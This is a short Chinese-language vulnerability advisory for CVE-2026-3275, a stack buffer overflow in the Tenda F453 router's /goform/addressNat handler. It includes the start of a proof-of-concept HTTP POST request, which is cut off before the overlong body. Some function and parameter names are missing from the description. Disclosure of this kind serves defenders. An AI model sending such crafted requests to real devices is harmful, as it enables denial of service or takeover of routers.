关键漏洞信息 CVE编号: CVE-2026-3275 厂商: Tenda 产品: F453 版本: V1.0.0.3 漏洞类型: 缓冲区溢出 固件下载: https://www.tenda.com.cn/material/show/1599 作者: Li Tengzheng 描述 我们在 的 函数中发现了一个溢出漏洞。它读取用户提供的 参数，并将其传递给 函数，而没有任何长度检查，这可能导致基于堆栈的缓冲区溢出。 概念验证 (PoC) ```http POST /goform/addressNat HTTP/1.1 Host: 192.168.6.2 X-Requested-With: XMLHttpRequest Accept-Language: en-US,en;q=0.9 Accept: text/plain, /; q=0.01 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36 Referer: http://192.168.6.2/index.asp Accept-Encoding: gzip, deflate, br Cookie: user= Connection: keep-alive Content-Length: 2489 entr...